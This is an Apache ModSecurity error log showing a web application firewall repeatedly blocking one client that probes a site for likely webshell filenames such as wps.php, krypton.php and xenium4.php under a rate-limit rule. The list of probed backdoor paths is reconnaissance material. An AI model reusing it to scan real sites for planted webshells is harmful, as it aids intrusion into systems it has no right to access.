[Sun Dec 28 19:59:33.232629 2025] [:error] [pid 42292:tid 42302] [client 4.193.233.56:15445] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "aVEbpZyOrM_vaFx1osZLGAAAAAY"]
[Sun Dec 28 19:59:33.493113 2025] [:error] [pid 29436:tid 29449] [client 4.193.233.56:15439] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "aVEbpbchzOOtNL9VPNLwqQAAAYo"]
[Sun Dec 28 19:59:33.773936 2025] [:error] [pid 29436:tid 29456] [client 4.193.233.56:15476] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "aVEbpbchzOOtNL9VPNLwqgAAAZE"]
[Sun Dec 28 19:59:34.139377 2025] [:error] [pid 29388:tid 29405] [client 4.193.233.56:15471] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "aVEbptoLv2L2zI_SpdXhlwAAAUk"]
[Sun Dec 28 19:59:34.410754 2025] [:error] [pid 29437:tid 29473] [client 4.193.233.56:15575] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aVEbphhDotAbVk6pZLfFZgAAAcc"]
[Sun Dec 28 19:59:34.599290 2025] [:error] [pid 42378:tid 42399] [client 4.193.233.56:15530] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aVEbpjgtcN-KHAjWrX8bygAAANM"]
[Sun Dec 28 19:59:34.812715 2025] [:error] [pid 29388:tid 29397] [client 4.193.233.56:15536] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aVEbptoLv2L2zI_SpdXhmAAAAUE"]
[Sun Dec 28 19:59:35.019457 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:16687] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aVEbp9oLv2L2zI_SpdXhmQAAAVU"]
[Sun Dec 28 19:59:35.320463 2025] [:error] [pid 43789:tid 43814] [client 4.193.233.56:15507] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aVEbpwa-tUppni4CcCY0qAAAARc"]
[Sun Dec 28 19:59:35.569019 2025] [:error] [pid 29436:tid 29452] [client 4.193.233.56:15512] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aVEbp7chzOOtNL9VPNLwrwAAAY0"]
[Sun Dec 28 19:59:35.807855 2025] [:error] [pid 42293:tid 42343] [client 4.193.233.56:15459] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aVEbp8vc9B-5cwN385LoPgAAAFQ"]
[Sun Dec 28 19:59:36.082637 2025] [:error] [pid 42294:tid 42356] [client 4.193.233.56:15535] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aVEbqNTE5kYcYCOzl9G_PQAAAIY"]
[Sun Dec 28 19:59:36.550631 2025] [:error] [pid 42378:tid 42386] [client 4.193.233.56:15548] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "aVEbqDgtcN-KHAjWrX8bzAAAAMY"]
[Sun Dec 28 19:59:37.024742 2025] [:error] [pid 43789:tid 43807] [client 4.193.233.56:15493] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "aVEbqQa-tUppni4CcCY0qgAAARA"]
[Sun Dec 28 19:59:37.388691 2025] [:error] [pid 42292:tid 42315] [client 4.193.233.56:15539] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "aVEbqZyOrM_vaFx1osZLHAAAABM"]
[Sun Dec 28 19:59:37.648845 2025] [:error] [pid 29437:tid 29467] [client 4.193.233.56:15572] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "aVEbqRhDotAbVk6pZLfFaAAAAcE"]
[Sun Dec 28 19:59:38.068762 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:15436] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aVEbqpyOrM_vaFx1osZLHQAAABE"]
[Sun Dec 28 19:59:38.301058 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15437] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aVEbqrchzOOtNL9VPNLwswAAAYk"]
[Sun Dec 28 19:59:38.586464 2025] [:error] [pid 29436:tid 29446] [client 4.193.233.56:15509] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aVEbqrchzOOtNL9VPNLwtgAAAYc"]
[Sun Dec 28 19:59:38.799981 2025] [:error] [pid 43789:tid 43804] [client 4.193.233.56:15401] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aVEbqga-tUppni4CcCY0qwAAAQ0"]
[Sun Dec 28 19:59:38.986731 2025] [:error] [pid 29388:tid 29419] [client 4.193.233.56:15497] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-sid.php"] [unique_id "aVEbqtoLv2L2zI_SpdXhmwAAAVc"]
[Sun Dec 28 19:59:39.199299 2025] [:error] [pid 43789:tid 43803] [client 4.193.233.56:15440] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-sid.php"] [unique_id "aVEbqwa-tUppni4CcCY0rQAAAQw"]
[Sun Dec 28 19:59:39.694726 2025] [:error] [pid 29436:tid 29463] [client 4.193.233.56:15537] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-sid.php"] [unique_id "aVEbq7chzOOtNL9VPNLwtwAAAZg"]
[Sun Dec 28 19:59:40.239183 2025] [:error] [pid 29436:tid 29451] [client 4.193.233.56:15387] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-sid.php"] [unique_id "aVEbrLchzOOtNL9VPNLwuAAAAYw"]
[Sun Dec 28 19:59:40.549494 2025] [:error] [pid 42292:tid 42296] [client 4.193.233.56:15544] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-Blogs.php"] [unique_id "aVEbrJyOrM_vaFx1osZLIQAAAAA"]
[Sun Dec 28 19:59:40.927616 2025] [:error] [pid 29436:tid 29441] [client 4.193.233.56:15395] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-Blogs.php"] [unique_id "aVEbrLchzOOtNL9VPNLwvQAAAYI"]
[Sun Dec 28 19:59:41.341360 2025] [:error] [pid 29436:tid 29461] [client 4.193.233.56:15532] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-Blogs.php"] [unique_id "aVEbrbchzOOtNL9VPNLwvwAAAZY"]
[Sun Dec 28 19:59:41.694258 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15477] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-Blogs.php"] [unique_id "aVEbrbchzOOtNL9VPNLwwwAAAYk"]
[Sun Dec 28 19:59:42.095269 2025] [:error] [pid 29388:tid 29401] [client 4.193.233.56:15527] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/krypton.php"] [unique_id "aVEbrtoLv2L2zI_SpdXhngAAAUU"]
[Sun Dec 28 19:59:42.292761 2025] [:error] [pid 29388:tid 29414] [client 4.193.233.56:15457] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/krypton.php"] [unique_id "aVEbrtoLv2L2zI_SpdXhnwAAAVI"]
[Sun Dec 28 19:59:42.501029 2025] [:error] [pid 29437:tid 29486] [client 4.193.233.56:15471] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/krypton.php"] [unique_id "aVEbrhhDotAbVk6pZLfFaQAAAdQ"]
[Sun Dec 28 19:59:42.855663 2025] [:error] [pid 29436:tid 29451] [client 4.193.233.56:15396] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/krypton.php"] [unique_id "aVEbrrchzOOtNL9VPNLwxwAAAYw"]
[Sun Dec 28 19:59:43.374953 2025] [:error] [pid 29436:tid 29441] [client 4.193.233.56:15470] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aVEbr7chzOOtNL9VPNLwyQAAAYI"]
[Sun Dec 28 19:59:43.704994 2025] [:error] [pid 29437:tid 29466] [client 4.193.233.56:15368] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aVEbrxhDotAbVk6pZLfFagAAAcA"]
[Sun Dec 28 19:59:43.971562 2025] [:error] [pid 43789:tid 43808] [client 4.193.233.56:15513] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aVEbrwa-tUppni4CcCY0rwAAARE"]
[Sun Dec 28 19:59:44.315636 2025] [:error] [pid 29437:tid 29478] [client 4.193.233.56:15551] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aVEbsBhDotAbVk6pZLfFawAAAcw"]
[Sun Dec 28 19:59:44.731136 2025] [:error] [pid 29437:tid 29479] [client 4.193.233.56:15516] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aVEbsBhDotAbVk6pZLfFbAAAAc0"]
[Sun Dec 28 19:59:45.062472 2025] [:error] [pid 43789:tid 43794] [client 4.193.233.56:15458] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aVEbsQa-tUppni4CcCY0sQAAAQM"]
[Sun Dec 28 19:59:45.434902 2025] [:error] [pid 43789:tid 43801] [client 4.193.233.56:15534] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aVEbsQa-tUppni4CcCY0sgAAAQo"]
[Sun Dec 28 19:59:45.665734 2025] [:error] [pid 42378:tid 42390] [client 4.193.233.56:15407] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aVEbsTgtcN-KHAjWrX8b0AAAAMo"]
[Sun Dec 28 19:59:45.907467 2025] [:error] [pid 29436:tid 29453] [client 4.193.233.56:15531] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jdlqi.php"] [unique_id "aVEbsbchzOOtNL9VPNLwzgAAAY4"]
[Sun Dec 28 19:59:46.242889 2025] [:error] [pid 42293:tid 42326] [client 4.193.233.56:15362] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jdlqi.php"] [unique_id "aVEbssvc9B-5cwN385LoQQAAAEM"]
[Sun Dec 28 19:59:46.638825 2025] [:error] [pid 29388:tid 29402] [client 4.193.233.56:15521] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jdlqi.php"] [unique_id "aVEbstoLv2L2zI_SpdXhoQAAAUY"]
[Sun Dec 28 19:59:47.259783 2025] [:error] [pid 42293:tid 42327] [client 4.193.233.56:15370] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jdlqi.php"] [unique_id "aVEbs8vc9B-5cwN385LoRQAAAEQ"]
[Sun Dec 28 19:59:47.483649 2025] [:error] [pid 29388:tid 29411] [client 4.193.233.56:15455] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVEbs9oLv2L2zI_SpdXhpQAAAU8"]
[Sun Dec 28 19:59:47.680902 2025] [:error] [pid 29437:tid 29484] [client 4.193.233.56:15443] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVEbsxhDotAbVk6pZLfFbgAAAdI"]
[Sun Dec 28 19:59:47.900046 2025] [:error] [pid 43789:tid 43802] [client 4.193.233.56:15487] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVEbswa-tUppni4CcCY0tAAAAQs"]
[Sun Dec 28 19:59:48.269034 2025] [:error] [pid 29437:tid 29490] [client 4.193.233.56:15422] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVEbtBhDotAbVk6pZLfFbwAAAdg"]
[Sun Dec 28 19:59:48.674322 2025] [:error] [pid 29436:tid 29459] [client 4.193.233.56:15486] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aVEbtLchzOOtNL9VPNLw0AAAAZQ"]
[Sun Dec 28 19:59:48.989317 2025] [:error] [pid 42293:tid 42335] [client 4.193.233.56:15453] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aVEbtMvc9B-5cwN385LoRwAAAEw"]
[Sun Dec 28 19:59:49.713292 2025] [:error] [pid 43789:tid 43809] [client 4.193.233.56:15467] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aVEbtQa-tUppni4CcCY0tQAAARI"]
[Sun Dec 28 19:59:50.053344 2025] [:error] [pid 43789:tid 43797] [client 4.193.233.56:15431] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aVEbtga-tUppni4CcCY0tgAAAQY"]
[Sun Dec 28 19:59:50.407228 2025] [:error] [pid 29437:tid 29488] [client 4.193.233.56:15447] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aVEbthhDotAbVk6pZLfFdAAAAdY"]
[Sun Dec 28 19:59:50.738523 2025] [:error] [pid 29437:tid 29481] [client 4.193.233.56:15378] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aVEbthhDotAbVk6pZLfFdQAAAc8"]
[Sun Dec 28 19:59:51.108700 2025] [:error] [pid 43789:tid 43795] [client 4.193.233.56:15382] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aVEbtwa-tUppni4CcCY0uAAAAQQ"]
